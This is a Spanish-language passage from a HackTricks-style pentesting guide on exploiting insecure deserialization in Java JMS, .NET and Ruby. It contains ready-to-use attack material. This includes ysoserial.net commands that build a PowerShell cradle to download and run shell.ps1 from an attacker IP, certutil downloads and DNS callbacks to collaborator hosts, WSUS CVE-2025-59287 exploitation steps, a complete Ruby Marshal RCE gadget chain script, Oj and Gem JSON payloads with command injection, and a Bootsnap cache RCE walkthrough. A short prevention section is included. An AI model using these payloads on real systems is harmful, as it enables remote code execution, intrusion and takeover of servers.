Básicamente hay muchos servicios que usan JMS de forma insegura. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (normalmente necesitarás credenciales válidas) podrías ser capaz de enviar objetos serializados maliciosos que serán deserializados por el consumidor/suscriptor.
Esto significa que en esta explotación todos los clientes que vayan a usar ese mensaje se verán comprometidos.
Debes recordar que aunque un servicio sea vulnerable (porque deserializa entrada de usuario de forma insegura) aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
La herramienta JMET fue creada para conectarse y atacar estos servicios enviando varios objetos serializados maliciosos usando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets usados está presente en la aplicación vulnerable.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se aprovechan gadgets para ejecutar código específico durante la deserialización de un objeto.
Fingerprint
WhiteBox
Se debe inspeccionar el código fuente en busca de ocurrencias de:
TypeNameHandlingJavaScriptTypeResolver
El enfoque debe estar en serializadores que permitan que el tipo sea determinado por una variable bajo el control del usuario.
BlackBox
La búsqueda debe apuntar a la cadena codificada en Base64 AAEAAAD///// o cualquier patrón similar que pueda ser deserializado en el servidor, otorgando control sobre el tipo a deserializar. Esto podría incluir, pero no se limita a, estructuras JSON o XML que contengan TypeObject o $type.
ysoserial.net
En este caso puedes usar la herramienta ysoserial.net para crear los exploits de deserialización. Una vez descargado el repositorio git deberías compilar la herramienta usando Visual Studio por ejemplo.
Si quieres aprender sobre cómo ysoserial.net crea su exploit puedes check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Las opciones principales de ysoserial.net son: --gadget, --formatter, --output y --plugin.
--gadgetusado para indicar el gadget a abusar (indicar la clase/función que será explotada durante la deserialización para ejecutar comandos).--formatter, usado para indicar el método para serializar el exploit (necesitas saber qué librería está usando el back-end para deserializar el payload y usar la misma para serializarlo).--outputusado para indicar si quieres el exploit en raw o base64 codificado. Nota que ysoserial.net codificará el payload usando UTF-16LE (codificación usada por defecto en Windows) así que si obtienes el raw y lo codificas desde una consola Linux podrías tener problemas de compatibilidad de codificación que impedirán que el exploit funcione correctamente (en HTB JSON box el payload funcionó tanto en UTF-16LE como en ASCII pero esto no significa que siempre vaya a funcionar).--pluginysoserial.net soporta plugins para crear exploits para frameworks específicos como ViewState
More ysoserial.net parameters
--minifyproporcionará un payload más pequeño (si es posible)--raf -f Json.Net -c "anything"Esto indicará todos los gadgets que pueden ser usados con un formatter provisto (Json.Neten este caso)--sf xmlpuedes indicar un gadget (-g) y ysoserial.net buscará formatters que contengan “xml” (insensible a mayúsculas)
Ejemplos de ysoserial para crear exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net también tiene un parámetro muy interesante que ayuda a entender mejor cómo funciona cada exploit: --test
Si indicas este parámetro ysoserial.net intentará el exploit localmente, así puedes probar si tu payload funcionará correctamente.
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (desde ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Esto significa que, para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
En el código anterior está vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net significa que probablemente esa aplicación también sea vulnerable. Por eso el parámetro --test nos permite entender qué chunks de código son vulnerables al exploit de deserialization que ysoserial.net puede crear.
ViewState
Consulta este POST sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos usados por la máquina víctima, lee este post para saber cómo ejecutar código.
Caso real: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Endpoints afectados:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.- Causa raíz: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).
Explotación mínima (ruta Reporting):
- Genera un gadget .NET con ysoserial.net (BinaryFormatter o SoapFormatter) y obtén la salida en base64, por ejemplo:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Crear un SOAP para
ReportEventBatchincrustando el gadget base64 y enviarlo vía POST a/ReportingWebService.asmx. - Cuando un admin abre la consola WSUS, el evento se deserializa y el gadget se dispara (RCE como SYSTEM).
AuthorizationCookie / GetCookie()
- Una AuthorizationCookie falsificada puede ser aceptada, descifrada y pasada a un sink BinaryFormatter, permitiendo RCE pre-auth si es accesible.
Parámetros del PoC público (tecxx/CVE-2025-59287-WSUS):
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Ver Windows Local Privilege Escalation – WSUS
Prevención
Para mitigar los riesgos asociados con la deserialización en .Net:
- Evitar permitir que los flujos de datos definan sus tipos de objeto. Utilizar
DataContractSerializeroXmlSerializercuando sea posible. - Para
JSON.Net, establecerTypeNameHandlingaNone:TypeNameHandling = TypeNameHandling.None - Evitar usar
JavaScriptSerializercon unJavaScriptTypeResolver. - Limitar los tipos que pueden ser deserializados, entendiendo los riesgos inherentes con tipos de .Net, como
System.IO.FileInfo, que puede modificar propiedades de archivos en el servidor, potencialmente llevando a ataques de denegación de servicio. - Tener precaución con tipos que tengan propiedades riesgosas, como
System.ComponentModel.DataAnnotations.ValidationExceptioncon su propiedadValue, que puede ser explotada. - Controlar de forma segura la instanciación de tipos para evitar que atacantes influyan en el proceso de deserialización, lo que podría volver vulnerables incluso a
DataContractSerializeroXmlSerializer. - Implementar controles de lista blanca usando un
SerializationBinderpersonalizado paraBinaryFormatteryJSON.Net. - Mantenerse informado sobre gadgets de deserialización inseguros conocidos dentro de .Net y asegurarse de que los deserializadores no instancien tales tipos.
- Aislar código potencialmente riesgoso del código con acceso a internet para evitar exponer gadgets conocidos, como
System.Windows.Data.ObjectDataProvideren aplicaciones WPF, a fuentes de datos no confiables.
Referencias
- Java and .Net JSON deserialization artículo: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, charla: https://www.youtube.com/watch?v=oUAeWhW5b8c y diapositivas: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca marshal. El primer método, conocido como dump, se usa para transformar un objeto en un flujo de bytes. Este proceso se denomina serialización. Por el contrario, el segundo método, load, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización.
Para asegurar objetos serializados, Ruby emplea HMAC (Hash-Based Message Authentication Code), asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (más información en https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Otra cadena RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Método .send() de Ruby
Como se explica en this vulnerability report, si alguna entrada de usuario no sanitizada llega al método .send() de un objeto Ruby, este método permite invocar cualquier otro método del objeto con cualquier parámetro.
Por ejemplo, llamar a eval y pasar ruby code como segundo parámetro permitirá ejecutar arbitrary code:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Moreover, if only one parameter of .send() is controlled by an attacker, as mentioned in the previous writeup, it’s possible to call any method of the object that doesn’t need arguments or whose arguments have default values.
Para ello, es posible enumerar todos los métodos del objeto para encontrar algunos métodos interesantes que cumplan esos requisitos
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Check how it could be possible to pollute a Ruby class and abuse it in here.
Ruby _json pollution
When sending in a body some values not hashabled like an array they will be added into a new key called _json. However, It’s possible for an attacker to also set in the body a value called _json with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the _json parameter to perform some action, an authorisation bypass could be performed.
Check more information in the Ruby _json pollution page.
Otras librerías
Esta técnica fue tomada from this blog post.
There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it’s unserialized (function to abuse to get RCE basically):
| Librería | Datos de entrada | Método que se ejecuta dentro de la clase |
| Marshal (Ruby) | Binario | _load |
| Oj | JSON | hash (la clase debe ponerse en un hash (map) como clave) |
| Ox | XML | hash (la clase debe ponerse en un hash (map) como clave) |
| Psych (Ruby) | YAML | hash (la clase debe ponerse en un hash (map) como clave)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Ejemplo básico:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
En el caso de intentar abusar de Oj, fue posible encontrar una gadget class que dentro de su función hash llamaba a to_s, que llamaba a spec, que llamaba a fetch_path, lo que permitía que recuperara una URL aleatoria, proporcionando un gran detector de este tipo de unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, lo que es un requisito para abusar de otro gadget y convertir esto en un RCE completo con algo como:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Caché de arranque
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
La funcionalidad de subida de archivos de la app Rails permite a un atacante escribir archivos de forma arbitraria. Aunque la app se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al usuario no-root de Docker), esto aún permite escribir en el directorio de cache de Bootsnap (típicamente bajo tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap acelera los tiempos de arranque de Rails almacenando en cache código Ruby compilado, archivos YAML y JSON. Guarda archivos de cache que incluyen un cache key header (con campos como Ruby version, file size, mtime, compile options, etc.) seguido por el código compilado. Este encabezado se usa para validar el cache durante el arranque de la app.
- Gather File Metadata
El atacante selecciona primero un archivo objetivo que probablemente se cargue durante el arranque de Rails (por ejemplo, set.rb de la biblioteca estándar de Ruby). Ejecutando código Ruby dentro del contenedor, extraen metadatos críticos (como RUBY_VERSION, RUBY_REVISION, size, mtime y compile_option). Estos datos son esenciales para construir una cache key válida.
- Compute the Cache File Path
Replicando el mecanismo de hash FNV-1a de 64 bits de Bootsnap, se determina la ruta correcta del archivo de cache. Este paso asegura que el archivo de cache malicioso se coloque exactamente donde Bootsnap lo espera (p.ej., bajo tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
El atacante prepara un payload que:
- Ejecuta comandos arbitrarios (por ejemplo, running id para mostrar info del proceso).
- Elimina el cache malicioso después de la ejecución para evitar explotación recursiva.
- Carga el archivo original (p.ej., set.rb) para evitar que la aplicación falle.
Este payload se compila a código Ruby binario y se concatena con un encabezado de cache key cuidadosamente construido (usando los metadatos recolectados previamente y el número de versión correcto de Bootsnap).
- Overwrite and Trigger Execution
Usando la vulnerabilidad de escritura arbitraria de archivos, el atacante escribe el archivo de cache manipulado en la ubicación calculada. Luego, provocan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitorizado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de cache malicioso, resultando en RCE.
Explotación de Ruby Marshal en la práctica (actualizado)
Trata cualquier ruta donde bytes no confiables alcancen a Marshal.load/marshal_load como un sink de RCE. Marshal reconstruye grafos de objetos arbitrarios y dispara callbacks de librerías/gems durante la materialización.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Clases de gadget comunes vistas en cadenas reales:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Marcador típico de efecto secundario incrustado en payloads (ejecutado durante unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Dónde aparece en aplicaciones reales:
- Almacenes de cache y de sesión de Rails que históricamente usan Marshal
- Backends de background job y almacenes de objetos basados en archivos
- Cualquier persistencia o transporte personalizado de blobs de objetos binarios
Descubrimiento industrializado de gadgets:
- Grep para constructores,
hash,_load,init_with, o métodos con efectos secundarios invocados durante unmarshal - Usar las queries de CodeQL’s Ruby unsafe deserialization para rastrear sources → sinks y exponer gadgets
- Validar con PoCs públicos multi-formato (JSON/XML/YAML/Marshal)
Referencias
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

